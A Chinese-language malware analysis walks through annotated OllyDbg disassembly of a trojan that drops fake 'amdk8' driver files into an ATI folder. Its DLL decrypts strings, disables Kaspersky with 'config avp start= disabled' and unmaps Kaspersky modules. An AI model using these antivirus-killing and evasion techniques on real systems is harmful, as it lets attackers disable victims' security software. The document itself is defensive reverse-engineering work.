0041E783 AA stos byte ptr es:
0041E784 90 nop
0041E785 90 nop
0041E786 03D3 add edx,ebx
0041E788 90 nop
0041E789 90 nop
0041E78A 03D3 add edx,ebx
0041E78C 90 nop
0041E78D F7D3 not ebx
0041E78F 90 nop
0041E790 90 nop
0041E791 90 nop
0041E792 43 inc ebx
0041E793 90 nop
0041E794 90 nop
0041E795 03D3 add edx,ebx
0041E797 90 nop
0041E798 90 nop
0041E799 F7DB neg ebx
0041E79B 90 nop
0041E79C 90 nop
0041E79D 8D8D 70FEFFFF lea ecx,dword ptr ss:
0041E7A3 68 FF000000 push 0FF buffer0012FA00
0041E7A8 51 push ecx bufsizeFF
0041E7A9 FF15 50104000 call dword ptr ds:[<&KERNEL32.GetSystemDirectory>; kernel32.GetSystemDirectoryA 获取系统目录
0041E7AF 8D95 70FEFFFF lea edx,dword ptr ss: C:\WINDOWS\system32
0041E7B5 6A 03 push 3
0041E7B7 8D85 70FAFFFF lea eax,dword ptr ss: 0012F600
0041E7BD 52 push edx C:\WINDOWS\system32
0041E7BE 50 push eax 0012F600
0041E7BF E8 3C0B0000 call x1un_.0041F300 判断路径是否存在
0041E7C4 8B3D 4C104000 mov edi,dword ptr ds:[<&KERNEL32.lstrcpy>] ; kernel32.lstrcpyA
0041E7CA 83C4 0C add esp,0C
0041E7CD 8D8D 70FAFFFF lea ecx,dword ptr ss:
0041E7D3 8D95 70FEFFFF lea edx,dword ptr ss: C:\WINDOWS\system32
0041E7D9 51 push ecx
0041E7DA 52 push edx
0041E7DB FFD7 call edi
0041E7DD 8B35 48104000 mov esi,dword ptr ds:[<&KERNEL32.lstrcat>] ; kernel32.lstrcatA
0041E7E3 8D45 B8 lea eax,dword ptr ss: progra~1\ATI
0041E7E6 8D8D 70FEFFFF lea ecx,dword ptr ss: 12FA00
0041E7EC 50 push eax
0041E7ED 51 push ecx
0041E7EE FFD6 call esi lstrcatA，连接形成路径C:\program\ATI
0041E7F0 90 nop
0041E7F1 90 nop
0041E7F2 90 nop
0041E7F3 03C1 add eax,ecx
0041E7F5 90 nop
0041E7F6 90 nop
0041E7F7 03C1 add eax,ecx
0041E7F9 90 nop
0041E7FA F7D1 not ecx
0041E7FC 90 nop
0041E7FD 90 nop
0041E7FE 90 nop
0041E7FF 41 inc ecx
0041E800 90 nop
0041E801 90 nop
0041E802 03C1 add eax,ecx
0041E804 90 nop
0041E805 90 nop
0041E806 F7D9 neg ecx
0041E808 90 nop
0041E809 90 nop
0041E80A 8D95 70FEFFFF lea edx,dword ptr ss:
0041E810 6A 00 push 0
0041E812 52 push edx
0041E813 E8 88F4FFFF call x1un_.0041DCA0 又要开始加载DLL了kernel32.dll
我简单分析下这个函数，跟前面一样，加载kernel32.dll，实现函数CreateDirectoryA, 创建路径：C:\programfiles\ATI
0041E818 83C4 08 add esp,8
0041E81B 8D85 70FEFFFF lea eax,dword ptr ss:
0041E821 68 ACCE4100 push x1un_.0041CEAC
0041E826 50 push eax
0041E827 FFD6 call esi
0041E829 90 nop
0041E82A 90 nop
0041E82B 03C8 add ecx,eax
0041E82D 90 nop
0041E82E 90 nop
0041E82F 03C8 add ecx,eax
0041E831 90 nop
0041E832 F7D0 not eax
0041E834 90 nop
0041E835 90 nop
0041E836 90 nop
0041E837 40 inc eax
0041E838 90 nop
0041E839 90 nop
0041E83A 03C8 add ecx,eax
0041E83C 90 nop
0041E83D 90 nop
0041E83E F7D8 neg eax
0041E840 90 nop
0041E841 90 nop
0041E842 8D8D 70FEFFFF lea ecx,dword ptr ss: 开始在C:\program\ATI路径下生成文件了
0041E848 8D95 70FDFFFF lea edx,dword ptr ss:
0041E84E 51 push ecx
0041E84F 52 push edx
0041E850 FFD7 call edi
0041E852 90 nop
0041E853 8D45 EC lea eax,dword ptr ss: amdk8.inf
0041E856 8D8D 70FDFFFF lea ecx,dword ptr ss:
0041E85C 50 push eax
0041E85D 51 push ecx
0041E85E FFD6 call esi lstrcatA
0041E860 90 nop
0041E861 8D95 70FEFFFF lea edx,dword ptr ss:
0041E867 8D85 70FCFFFF lea eax,dword ptr ss: C:\program\ATI\amdk8.inf
0041E86D 52 push edx
0041E86E 50 push eax
0041E86F FFD7 call edi
0041E871 90 nop
0041E872 8D4D E0 lea ecx,dword ptr ss: amdk8.sys驱动啊驱动
0041E875 8D95 70FCFFFF lea edx,dword ptr ss: C:\program\ATI
0041E87B 51 push ecx 两个参数
0041E87C 52 push edx
0041E87D FFD6 call esi lstrcatA
0041E87F 90 nop
0041E880 8D85 70FEFFFF lea eax,dword ptr ss:
0041E886 8D8D 70FBFFFF lea ecx,dword ptr ss: C:\program\ATI\amdk8.sys
0041E88C 50 push eax
0041E88D 51 push ecx
0041E88E FFD7 call edi
0041E890 90 nop
0041E891 8D55 D4 lea edx,dword ptr ss: amdk8.dll
0041E894 8D85 70FBFFFF lea eax,dword ptr ss:
0041E89A 52 push edx
0041E89B 50 push eax
0041E89C FFD6 call esi 同理啦，和上面的一样lstrcatA
对上面的进行一下总结，就是生成c:\program files\ATI,并在里面生成三个文件amdk8.sys，amdk8.inf，amdk8.dll
0041E89E 90 nop
0041E89F 90 nop
0041E8A0 90 nop
0041E8A1 03C8 add ecx,eax
0041E8A3 90 nop
0041E8A4 90 nop
0041E8A5 03C8 add ecx,eax
0041E8A7 90 nop
0041E8A8 F7D0 not eax
0041E8AA 90 nop
0041E8AB 90 nop
0041E8AC 90 nop
0041E8AD 40 inc eax
0041E8AE 90 nop
0041E8AF 90 nop
0041E8B0 03C8 add ecx,eax
0041E8B2 90 nop
0041E8B3 90 nop
0041E8B4 F7D8 neg eax
0041E8B6 90 nop
0041E8B7 90 nop
0041E8B8 8D8D 70FDFFFF lea ecx,dword ptr ss: C:\program\ATI\amdk8.inf
0041E8BE 51 push ecx
0041E8BF E8 3CE9FFFF call x1un_.0041D200 此函数的作用，创建文件并写入文件
{
0041D200 51 push ecx
0041D201 53 push ebx
0041D202 56 push esi
0041D203 32DB xor bl,bl
0041D205 E8 C6FFFFFF call x1un_.0041D1D0
0041D20A 8B4424 10 mov eax,dword ptr ss:
0041D20E 6A 00 push 0
0041D210 6A 00 push 0
0041D212 6A 02 push 2
0041D214 6A 00 push 0
0041D216 6A 01 push 1
0041D218 68 00000040 push 40000000
0041D21D 50 push eax
0041D21E FF15 70104000 call dword ptr ds:[<&KERNEL32.CreateFileA>] ; kernel32.CreateFileA
0041D224 8BF0 mov esi,eax
0041D226 83FE FF cmp esi,-1
0041D229 75 00 jnz short x1un_.0041D22B
0041D22B 8B15 BC354100 mov edx,dword ptr ds:
0041D231 8D4C24 08 lea ecx,dword ptr ss:
0041D235 6A 00 push 0
0041D237 51 push ecx
0041D238 52 push edx
0041D239 68 C0354100 push x1un_.004135C0 ; ASCII ";
; File Name: amdk8.inf
; Install information file for amdk8 Driver
;
; Generated by C DriverWizard 3.2.0 (Build 2485)
; Requires DDK Only
; File created on 6/23/2010
;
;--------- Version Section ------------------------------"...
0041D23E 56 push esi
0041D23F FF15 74104000 call dword ptr ds:[<&KERNEL32.WriteFile>] ; kernel32.WriteFile
0041D245 85C0 test eax,eax
0041D247 74 02 je short x1un_.0041D24B
0041D249 B3 01 mov bl,1
0041D24B 56 push esi
0041D24C FF15 7C104000 call dword ptr ds:[<&KERNEL32.CloseHandle>] ; kernel32.CloseHandle
0041D252 8AC3 mov al,bl
0041D254 5E pop esi
0041D255 5B pop ebx
0041D256 59 pop ecx
0041D257 C3 retn
}
0041E8C4 83C4 04 add esp,4
0041E8C7 84C0 test al,al
0041E8C9 0F84 36010000 je x1un_.0041EA05
0041E8CF 8D95 70FCFFFF lea edx,dword ptr ss:
0041E8D5 52 push edx
0041E8D6 E8 B5E9FFFF call x1un_.0041D290 同理创建驱动amdk8.sys并向里面写入数据，不展开了
0041E8DB 83C4 04 add esp,4
0041E8DE 84C0 test al,al
0041E8E0 0F84 1F010000 je x1un_.0041EA05
对生成的三个文件进行创建和写入操作
在c:\program files\ATI里面生成三个文件amdk8.sys，amdk8.inf，amdk8.dll
我们到ATI目录下面，找到amdk8.dll，用OD载入之，分析这个dll具体实现了什么功能，分析这个病毒真是累啊~~
载入后，Ctrl+N,看输入表，其中发现了testall（这个就是该dll里面的主要函数实现了），木马一般没什么加密，双击之，来到了：
其实在这之前这个dll文件还获得了系统最高权限，通过LookupPrivilegeValueA和AdjustTokenPrivileges函数，就在dll的入口处，当然还设置了debug权限
10002920 >/$55 push ebp
10002921|.8BEC mov ebp,esp
10002923|.8B45 08 mov eax,
10002926|.53 push ebx
10002927|.56 push esi
10002928|.57 push edi
10002929|.85C0 test eax,eax
1000292B|.74 11 je short amdk8.1000293E 这里先判断了一下，在ATI路径下的amdk8.dll是否存在
1000292D|.60 pushad
1000292E|.90 nop
1000292F|.2BC2 sub eax,edx
10002931|.61 popad
10002932|.8B45 08 mov eax,
10002935|.50 push eax
10002936|.E8 45FEFFFF call amdk8.10002780 关键函数，call进去
1000293B|.83C4 04 add esp,4
1000293E|>5F pop edi
1000293F|.5E pop esi
10002940|.5B pop ebx
10002941|.5D pop ebp
在10002936这里的call进去，代码如下：
10002780/$55 push ebp 分配一个栈
10002781|.8BEC mov ebp,esp
10002783|.83EC 30 sub esp,30
10002786|.B0 6F mov al,6F
10002788|.53 push ebx
10002789|.8845 D2 mov byte ptr ss:,al
1000278C|.8845 D6 mov byte ptr ss:,al
1000278F|.B0 6C mov al,6C
10002791|.56 push esi
10002792|.8845 D7 mov byte ptr ss:,al
10002795|.8845 E7 mov byte ptr ss:,al
10002798|.8845 E8 mov byte ptr ss:,al
1000279B|.8845 F7 mov byte ptr ss:,al
1000279E|.8845 F8 mov byte ptr ss:,al
100027A1|.8845 FD mov byte ptr ss:,al
100027A4|.8845 FE mov byte ptr ss:,al
100027A7|.8D45 F4 lea eax,
100027AA|.57 push edi
100027AB|.B3 74 mov bl,74
100027AD|.B1 65 mov cl,65
100027AF|.32D2 xor dl,dl 初始化堆栈：
100027B1|.50 push eax ; /FileName
100027B2|.C645 D0 73 mov byte ptr ss:,73 ; |
100027B6|.885D D1 mov byte ptr ss:,bl ; |
100027B9|.C645 D3 70 mov byte ptr ss:,70 ; |
100027BD|.C645 D4 20 mov byte ptr ss:,20 ; |
100027C1|.C645 D5 50 mov byte ptr ss:,50 ; |
100027C5|.C645 D8 69 mov byte ptr ss:,69 ; |
100027C9|.C645 D9 63 mov byte ptr ss:,63 ; |
100027CD|.C645 DA 79 mov byte ptr ss:,79 ; |
100027D1|.C645 DB 41 mov byte ptr ss:,41 ; |
100027D5|.C645 DC 67 mov byte ptr ss:,67 ; |
100027D9|.884D DD mov byte ptr ss:,cl ; |
100027DC|.C645 DE 6E mov byte ptr ss:,6E ; |
100027E0|.885D DF mov byte ptr ss:,bl ; |
100027E3|.8855 E0 mov byte ptr ss:,dl ; |
100027E6|.C645 E4 53 mov byte ptr ss:,53 ; |
100027EA|.C645 E5 68 mov byte ptr ss:,68 ; |
100027EE|.884D E6 mov byte ptr ss:,cl ; |
100027F1|.C645 E9 45 mov byte ptr ss:,45 ; |
100027F5|.C645 EA 78 mov byte ptr ss:,78 ; |
100027F9|.884D EB mov byte ptr ss:,cl ; |
100027FC|.C645 EC 63 mov byte ptr ss:,63 ; |
10002800|.C645 ED 75 mov byte ptr ss:,75 ; |
10002804|.885D EE mov byte ptr ss:,bl ; |
10002807|.884D EF mov byte ptr ss:,cl ; |
1000280A|.C645 F0 41 mov byte ptr ss:,41 ; |
1000280E|.8855 F1 mov byte ptr ss:,dl ; |
10002811|.C645 F4 73 mov byte ptr ss:,73 ; |
10002815|.C645 F5 68 mov byte ptr ss:,68 ; |
10002819|.884D F6 mov byte ptr ss:,cl ; |
1000281C|.C645 F9 33 mov byte ptr ss:,33 ; |
10002820|.C645 FA 32 mov byte ptr ss:,32 ; |
10002824|.C645 FB 2E mov byte ptr ss:,2E ; |
10002828|.C645 FC 64 mov byte ptr ss:,64 ; |
1000282C|.8855 FF mov byte ptr ss:,dl ; |
1000282F|.FF15 10100010 call dword ptr ds:[<&KERNEL32.LoadLibrar>; \LoadLibraryA
10002835|.90 nop
10002836|.8D4D E4 lea ecx, ShellExecuteA
10002839|.51 push ecx ; /ProcNameOrOrdinal = ShellExecuteA
1000283A|.50 push eax ; |hModule = 7D590000
1000283B|.FF15 0C100010 call dword ptr ds:[<&KERNEL32.GetProcAdd>; \GetProcAddress
10002841|.A3 202E0010 mov dword ptr ds:,eax
10002846|.85C8 test eax,ecx
10002848|.90 nop
10002849|.90 nop
1000284A|.53 push ebx
1000284B|.90 nop
1000284C|.90 nop
1000284D|.74 0A je short amdk8.10002859
1000284F|.C1E1 01 shl ecx,1
10002852|.8BD9 mov ebx,ecx
10002854|.C1EB 01 shr ebx,1
10002857|.87D9 xchg ecx,ebx
10002859|>5B pop ebx
1000285A|.90 nop
1000285B|.60 pushad
1000285C|.90 nop
1000285D|.33C2 xor eax,edx
1000285F|.90 nop
10002860|.61 popad
10002861|.90 nop
10002862|.8B55 08 mov edx,
10002865|.52 push edx
10002866|.E8 F5F0FFFF call amdk8.10001960 这个函数是获取系统的相关信息，节省空间，不展开了，有些累了
1000286B|.83C4 04 add esp,4
1000286E|.85C1 test ecx,eax
10002870|.90 nop
10002871|.90 nop
10002872|.52 push edx
10002873|.90 nop
10002874|.90 nop
10002875|.74 0A je short amdk8.10002881
10002877|.C1E0 01 shl eax,1
1000287A|.8BD0 mov edx,eax
1000287C|.C1EA 01 shr edx,1
1000287F|.87D0 xchg eax,edx
10002881|>5A pop edx
10002882|.90 nop
10002883|.60 pushad
10002884|.90 nop
10002885|.33C2 xor eax,edx
10002887|.90 nop
10002888|.61 popad
10002889|.E8 E2FBFFFF call amdk8.10002470 ;关键call，查找杀软进程
{
10002470/$55 push ebp
10002471|.8BEC mov ebp,esp
10002473|.81EC 50030000 sub esp,350
10002479|.B0 73 mov al,73
1000247B|.53 push ebx
1000247C|.8845 FC mov byte ptr ss:,al
1000247F|.8845 EE mov byte ptr ss:,al
10002482|.B0 6B mov al,6B
10002484|.B3 78 mov bl,78
10002486|.8845 EF mov byte ptr ss:,al
10002489|.8845 F0 mov byte ptr ss:,al
1000248C|.B0 6C mov al,6C
1000248E|.B2 2F mov dl,2F
10002490|.8845 F2 mov byte ptr ss:,al
10002493|.8845 F3 mov byte ptr ss:,al
10002496|.B0 65 mov al,65
10002498|.B1 20 mov cl,20
1000249A|.56 push esi
1000249B|.57 push edi
1000249C|.C645 FD 63 mov byte ptr ss:,63
100024A0|.C645 FE 00 mov byte ptr ss:,0
100024A4|.C645 EC 74 mov byte ptr ss:,74
100024A8|.C645 ED 61 mov byte ptr ss:,61
100024AC|.C645 F1 69 mov byte ptr ss:,69
100024B0|.C645 F4 2E mov byte ptr ss:,2E
100024B4|.8845 F5 mov byte ptr ss:,al
100024B7|.885D F6 mov byte ptr ss:,bl
100024BA|.8845 F7 mov byte ptr ss:,al
100024BD|.C645 F8 00 mov byte ptr ss:,0
100024C1|.8855 D8 mov byte ptr ss:,dl
100024C4|.C645 D9 66 mov byte ptr ss:,66
100024C8|.884D DA mov byte ptr ss:,cl
100024CB|.8855 DB mov byte ptr ss:,dl
100024CE|.C645 DC 74 mov byte ptr ss:,74
100024D2|.884D DD mov byte ptr ss:,cl
100024D5|.8855 DE mov byte ptr ss:,dl
100024D8|.C645 DF 69 mov byte ptr ss:,69
100024DC|.C645 E0 6D mov byte ptr ss:,6D
100024E0|.884D E1 mov byte ptr ss:,cl
100024E3|.C645 E2 61 mov byte ptr ss:,61
100024E7|.C645 E3 76 mov byte ptr ss:,76
100024EB|.C645 E4 70 mov byte ptr ss:,70
100024EF|.C645 E5 2E mov byte ptr ss:,2E
100024F3|.8845 E6 mov byte ptr ss:,al
100024F6|.885D E7 mov byte ptr ss:,bl
100024F9|.8845 E8 mov byte ptr ss:,al
100024FC|.C645 E9 00 mov byte ptr ss:,0
10002500|.90 nop
10002501|.68 4FD1C15B push 5BC1D14F
10002506|.6A 01 push 1
10002508|.E8 83040000 call amdk8.10002990
1000250D|.6A 00 push 0
1000250F|.6A 02 push 2
10002511|.FFD0 call eax CreateToolhelp32Snapshot创建进程快照
10002513|.8BD8 mov ebx,eax
10002515|.B9 3F000000 mov ecx,3F
1000251A|.33C0 xor eax,eax
1000251C|.8DBD B0FDFFFF lea edi,
10002522|.F3:AB rep stos dword ptr es:
10002524|.66:AB stos word ptr es:
10002526|.AA stos byte ptr es:
10002527|.B9 3F000000 mov ecx,3F
1000252C|.33C0 xor eax,eax
1000252E|.8DBD B0FCFFFF lea edi,
10002534|.C785 B0FEFFFF>mov ,128
1000253E|.F3:AB rep stos dword ptr es:
10002540|.66:AB stos word ptr es:
10002542|.AA stos byte ptr es:
10002543|.8D85 B0FEFFFF lea eax,
10002549|.50 push eax ; /lppe
1000254A|.53 push ebx ; |hSnapshot
1000254B|.E8 C6060000 call <jmp.&KERNEL32.Process32First> ; \Process32First
10002550|.85C0 test eax,eax
10002552|.0F84 4C010000 je amdk8.100026A4
10002558|.8B3D 30100010 mov edi,dword ptr ds:[<&KERNEL32.lstrcmp>;kernel32.lstrcmpiA
1000255E|.8B35 04100010 mov esi,dword ptr ds:[<&KERNEL32.lstrcpy>;kernel32.lstrcpyA
10002564|>68 4C100010 /push amdk8.1000104C ;dys1h{h
10002569|.E8 F2F0FFFF |call amdk8.10001660
这个函数解密字符串，获得avp.exe字符串
{
10001660/$8B4424 04 mov eax,dword ptr ss:
10001664|.56 push esi
10001665|.57 push edi
10001666|.50 push eax ; /String2
10001667|.68 282E0010 push amdk8.10002E28 ; |String1 = amdk8.10002E28
1000166C|.FF15 04100010 call dword ptr ds:[<&KERNEL32.lstrcpyA>] ; \lstrcpyA
10001672|.8B3D 00100010 mov edi,dword ptr ds:[<&KERNEL32.lstrlen>;kernel32.lstrlenA
10001678|.68 282E0010 push amdk8.10002E28 ; /String = "avp.exh"
1000167D|.33F6 xor esi,esi ; |
1000167F|.FFD7 call edi ; \lstrlenA
10001681|.85C0 test eax,eax
10001683|.7E 1B jle short amdk8.100016A0
10001685|>8A8E 282E0010 /mov cl,byte ptr ds:
1000168B|.68 282E0010 |push amdk8.10002E28 ;ASCII "avp.exh"
10001690|.80C1 FD |add cl,0FD
10001693|.888E 282E0010 |mov byte ptr ds:,cl 这个循环就是解密字符串（dys1h{h）了，很简单，一个add操作
10001699|.46 |inc esi
1000169A|.FFD7 |call edi
1000169C|.3BF0 |cmp esi,eax
1000169E|.^ 7C E5 \jl short amdk8.10001685
100016A0|>5F pop edi
100016A1|.B8 282E0010 mov eax,amdk8.10002E28 ;ASCII "avp.exh"
100016A6|.5E pop esi
100016A7\.C3 retn
}
1000256E|.83C4 04 |add esp,4
10002571|.8D8D D4FEFFFF |lea ecx, 遍历系统进程看看有没有avp.exe进程
10002577|.50 |push eax
10002578|.51 |push ecx
10002579|.FFD7 |call edi
1000257B|.85C0 |test eax,eax
1000257D|.0F85 0C010000 |jnz amdk8.1000268F 我系统里没有安装卡巴，所以这里跳走，改标志位，不让他跳走
10002583|.90 |nop
10002584|.68 90100010 |push amdk8.10001090 ;frqilj#dys#vwduw@#glvdeohg
10002589|.E8 D2F0FFFF |call amdk8.10001660 这个函数继续解密字符串frqilj#dys#vwduw@#glvdeohg
1000258E|.83C4 04 |add esp,4 这个字符串解密为：config avp start= disabled，就是关闭卡巴
10002591|.8D95 B0FDFFFF |lea edx,
10002597|.50 |push eax
10002598|.52 |push edx
10002599|.FFD6 |call esi
1000259B|.6A 00 |push 0
1000259D|.8D85 B0FDFFFF |lea eax,
100025A3|.6A 00 |push 0
100025A5|.8D4D FC |lea ecx,
100025A8|.50 |push eax
100025A9|.51 |push ecx
100025AA|.6A 00 |push 0
100025AC|.6A 00 |push 0
100025AE|.FF15 202E0010 |call dword ptr ds: ;shell32.ShellExecuteA 执行config avp start= disabled
100025B4|.68 F572993D |push 3D9972F5
100025B9|.6A 01 |push 1
100025BB|.E8 D0030000 |call amdk8.10002990
100025C0|.68 C4090000 |push 9C4
100025C5|.FFD0 |call eax
100025C7|.8B95 B8FEFFFF |mov edx,
100025CD|.68 30160010 |push amdk8.10001630 ;kavbase.kdl
100025D2|.52 |push edx
100025D3|.E8 08FDFFFF |call amdk8.100022E0 这个call又动作了，干坏事啊干坏事，进去看看
{
100022E0/$55 push ebp
100022E1|.8BEC mov ebp,esp
100022E3|.81EC 2C030000 sub esp,32C
100022E9|.53 push ebx
100022EA|.56 push esi
100022EB|.57 push edi
100022EC|.B9 3F000000 mov ecx,3F
100022F1|.33C0 xor eax,eax
100022F3|.8DBD F8FEFFFF lea edi,
100022F9|.F3:AB rep stos dword ptr es:
100022FB|.8B75 08 mov esi,
100022FE|.B9 88000000 mov ecx,88
10002303|.66:AB stos word ptr es:
10002305|.AA stos byte ptr es:
10002306|.33C0 xor eax,eax
10002308|.8DBD D8FCFFFF lea edi,
1000230E|.56 push esi ; /ProcessId
1000230F|.50 push eax ; |Inheritable => FALSE
10002310|.F3:AB rep stos dword ptr es: ; |
10002312|.68 FF0F1F00 push 1F0FFF ; |Access = PROCESS_ALL_ACCESS
10002317|.C745 FC 00000>mov ,0 ; |
1000231E|.FF15 38100010 call dword ptr ds:[<&KERNEL32.OpenProces>; \OpenProcess
10002324|.68 4FD1C15B push 5BC1D14F
10002329|.6A 01 push 1
1000232B|.8945 F8 mov ,eax
1000232E|.E8 5D060000 call amdk8.10002990
10002333|.56 push esi
10002334|.6A 08 push 8
10002336|.FFD0 call eax 创建进程快照CreateToolhelp32Snapshot
10002338|.8945 08 mov ,eax
1000233B|.C785 D4FCFFFF>mov ,224
10002345|.60 pushad
10002346|.83C2 77 add edx,77
10002349|.61 popad
1000234A|.68 1D52095C push 5C09521D
1000234F|.6A 01 push 1
10002351|.E8 3A060000 call amdk8.10002990
10002356|.8B7D 08 mov edi,
10002359|.8D8D D4FCFFFF lea ecx,
1000235F|.51 push ecx
10002360|.57 push edi
10002361|.FFD0 call eax Module32Next查找下一个模块
10002363|.85C0 test eax,eax
10002365|.0F84 E1000000 je amdk8.1000244C
1000236B|.90 nop
1000236C|.8B35 04100010 mov esi,dword ptr ds:[<&KERNEL32.lstrcpy>;kernel32.lstrcpyA
10002372|.8D95 F4FDFFFF lea edx,
10002378|.8D85 F8FEFFFF lea eax,
1000237E|.52 push edx ; /String2
1000237F|.50 push eax ; |String1
10002380|.FFD6 call esi ; \lstrcpyA
10002382|.90 nop
10002383|.8B1D 44100010 mov ebx,dword ptr ds:[<&MSVCRT.strrchr>] ;msvcrt.strrchr
10002389|.8D8D F8FEFFFF lea ecx,
1000238F|.6A 5C push 5C ; /c = 5C('\')
10002391|.51 push ecx ; |s
10002392|.FFD3 call ebx ; \strrchr
10002394|.83C4 08 add esp,8
10002397|.90 nop
10002398|.40 inc eax
10002399|.8D95 F8FEFFFF lea edx,
1000239F|.50 push eax
100023A0|.52 push edx
100023A1|.FFD6 call esi
100023A3|.8B45 0C mov eax,
100023A6|.8D8D F8FEFFFF lea ecx,
100023AC|.50 push eax ; /String2
100023AD|.51 push ecx ; |String1
100023AE|.FF15 30100010 call dword ptr ds:[<&KERNEL32.lstrcmpiA>>; \lstrcmpiA
100023B4|.85C0 test eax,eax
100023B6|.74 77 je short amdk8.1000242F
100023B8|.68 1D52095C push 5C09521D
100023BD|.6A 01 push 1
100023BF|.E8 CC050000 call amdk8.10002990
100023C4|.8D95 D4FCFFFF lea edx,
100023CA|.52 push edx
100023CB|.57 push edi
100023CC|.FFD0 call eax Module32Next继续查找，因为我系统没有卡巴，所以这里有些不准确
100023CE|.85C0 test eax,eax
100023D0|.74 7A je short amdk8.1000244C
100023D2|>8D85 F4FDFFFF /lea eax,
100023D8|.8D8D F8FEFFFF |lea ecx,
100023DE|.50 |push eax
100023DF|.51 |push ecx
100023E0|.FFD6 |call esi
100023E2|.90 |nop
100023E3|.8D95 F8FEFFFF |lea edx,
100023E9|.6A 5C |push 5C
100023EB|.52 |push edx
100023EC|.FFD3 |call ebx
100023EE|.83C4 08 |add esp,8
100023F1|.90 |nop
100023F2|.40 |inc eax
100023F3|.50 |push eax
100023F4|.8D85 F8FEFFFF |lea eax,
100023FA|.50 |push eax
100023FB|.FFD6 |call esi
100023FD|.90 |nop
100023FE|.8B4D 0C |mov ecx,
10002401|.8D95 F8FEFFFF |lea edx,
10002407|.51 |push ecx ; /String2
10002408|.52 |push edx ; |String1
10002409|.FF15 30100010 |call dword ptr ds:[<&KERNEL32.lstrcmpiA>; \lstrcmpiA
1000240F|.85C0 |test eax,eax
10002411|.74 1C |je short amdk8.1000242F
10002413|.68 1D52095C |push 5C09521D
10002418|.6A 01 |push 1
1000241A|.E8 71050000 |call amdk8.10002990
1000241F|.8D8D D4FCFFFF |lea ecx,
10002425|.51 |push ecx
10002426|.57 |push edi
10002427|.FFD0 |call eax
10002429|.85C0 |test eax,eax
1000242B|.^ 75 A5 \jnz short amdk8.100023D2
1000242D|.EB 1D jmp short amdk8.1000244C
1000242F|>8B95 E8FCFFFF mov edx,
10002435|.8B4D F8 mov ecx,
10002438|.8B85 F0FCFFFF mov eax,
1000243E|.52 push edx
1000243F|.51 push ecx
10002440|.50 push eax
10002441|.8945 FC mov ,eax
10002444|.E8 C7FDFFFF call amdk8.10002210 这个函数调用ZwUnmapViewOfSection结束kavbase.kdl这个文件
10002449|.83C4 0C add esp,0C
1000244C|>68 D5B03E72 push 723EB0D5
10002451|.6A 01 push 1
10002453|.E8 38050000 call amdk8.10002990
10002458|.57 push edi
10002459|.FFD0 call eax
1000245B|.60 pushad
1000245C|.83F0 28 xor eax,28
1000245F|.61 popad
10002460|.8B45 FC mov eax,
10002463|.5F pop edi
10002464|.5E pop esi
10002465|.5B pop ebx
10002466|.8BE5 mov esp,ebp
10002468|.5D pop ebp
10002469\.C3 retn
}
100025D8|.8B85 B8FEFFFF |mov eax,
100025DE|.68 24160010 |push amdk8.10001624 ;webav.kdl
100025E3|.50 |push eax
100025E4|.E8 F7FCFFFF |call amdk8.100022E0 同理都是卸载之
100025E9|.8B8D B8FEFFFF |mov ecx,
100025EF|.68 18160010 |push amdk8.10001618 ;vlns.kdl
100025F4|.51 |push ecx
100025F5|.E8 E6FCFFFF |call amdk8.100022E0
100025FA|.8B95 B8FEFFFF |mov edx,
10002600|.68 0C160010 |push amdk8.1000160C ;mark.kdl
10002605|.52 |push edx
10002606|.E8 D5FCFFFF |call amdk8.100022E0
1000260B|.8B85 B8FEFFFF |mov eax,
10002611|.68 00160010 |push amdk8.10001600 ;klavemu.kdl
10002616|.50 |push eax
10002617|.E8 C4FCFFFF |call amdk8.100022E0
1000261C|.8B8D B8FEFFFF |mov ecx,
10002622|.68 F4150010 |push amdk8.100015F4 ;kjim.kdl
10002627|.51 |push ecx
10002628|.E8 B3FCFFFF |call amdk8.100022E0
1000262D|.83C4 30 |add esp,30
10002630|.90 |nop
10002631|.68 F572993D |push 3D9972F5
10002636|.6A 01 |push 1
10002638|.E8 53030000 |call amdk8.10002990
1000263D|.68 E8030000 |push 3E8
10002642|.FFD0 |call eax
10002644|.90 |nop
10002645|.8D55 EC |lea edx,
10002648|.8D85 B0FDFFFF |lea eax,
1000264E|.52 |push edx
1000264F|.50 |push eax
10002650|.FFD6 |call esi
10002652|.8D4D D8 |lea ecx,
10002655|.8D95 B0FCFFFF |lea edx,
1000265B|.51 |push ecx
1000265C|.52 |push edx
1000265D|.FFD6 |call esi
1000265F|.6A 00 |push 0
10002661|.8D85 B0FCFFFF |lea eax,
10002667|.6A 00 |push 0
10002669|.8D8D B0FDFFFF |lea ecx,
1000266F|.50 |push eax
10002670|.51 |push ecx
10002671|.6A 00 |push 0
10002673|.6A 00 |push 0
10002675|.FF15 202E0010 |call dword ptr ds: ;shell32.ShellExecuteA
1000267B|.68 F572993D |push 3D9972F5
10002680|.6A 01 |push 1
10002682|.E8 09030000 |call amdk8.10002990
10002687|.68 94110000 |push 1194
1000268C|.FFD0 |call eax
1000268E|.90 |nop
1000268F|>8D95 B0FEFFFF |lea edx,
10002695|.52 |push edx ; /lppe
10002696|.53 |push ebx ; |hSnapshot
10002697|.E8 74050000 |call <jmp.&KERNEL32.Process32Next> ; \Process32Next
1000269C|.85C0 |test eax,eax
1000269E|.^ 0F85 C0FEFFFF \jnz amdk8.10002564
100026A4|>68 D5B03E72 push 723EB0D5
100026A9|.6A 01 push 1
100026AB|.E8 E0020000 call amdk8.10002990
100026B0|.53 push ebx
100026B1|.FFD0 call eax
100026B3|.60 pushad
100026B4|.83F0 28 xor eax,28
100026B7|.61 popad
100026B8|.5F pop edi
100026B9|.5E pop esi
100026BA|.33C0 xor eax,eax
100026BC|.5B pop ebx
100026BD|.8BE5 mov esp,ebp
100026BF|.5D pop ebp
100026C0\.C3 retn
}
总结一下上面的代码做的坏事，首先遍历进程查找avp.exe，如果找到调用config avp start= disabled结束，并结束卡巴的系列文件
如：
kavbase.kdl
webav.kdl
vlns.kdl
mark.kdl
klavemu.kdl
kjim.kdl
1000288E|.60 pushad
1000288F|.90 nop
10002890|.33C2 xor eax,edx
10002892|.90 nop
10002893|.61 popad
10002894|.90 nop
10002895|.68 F572993D push 3D9972F5
1000289A|.6A 01 push 1
1000289C|.E8 EF000000 call amdk8.10002990
100028A1|.68 E8030000 push 3E8
100028A6|.FFD0 call eax
100028A8|.60 pushad
100028A9|.90 nop
100028AA|.33C2 xor eax,edx
100028AC|.90 nop
100028AD|.61 popad
100028AE|.8B75 08 mov esi,
100028B1|.56 push esi
100028B2|.E8 09F6FFFF call amdk8.10001EC0 ;干杀软
为了节省空间我就不详细分析了，通过创建进程快照，查找主流杀软的进程，如果存在的话，就干掉，呼呼~~~
100028B7|.85C8 test eax,ecx
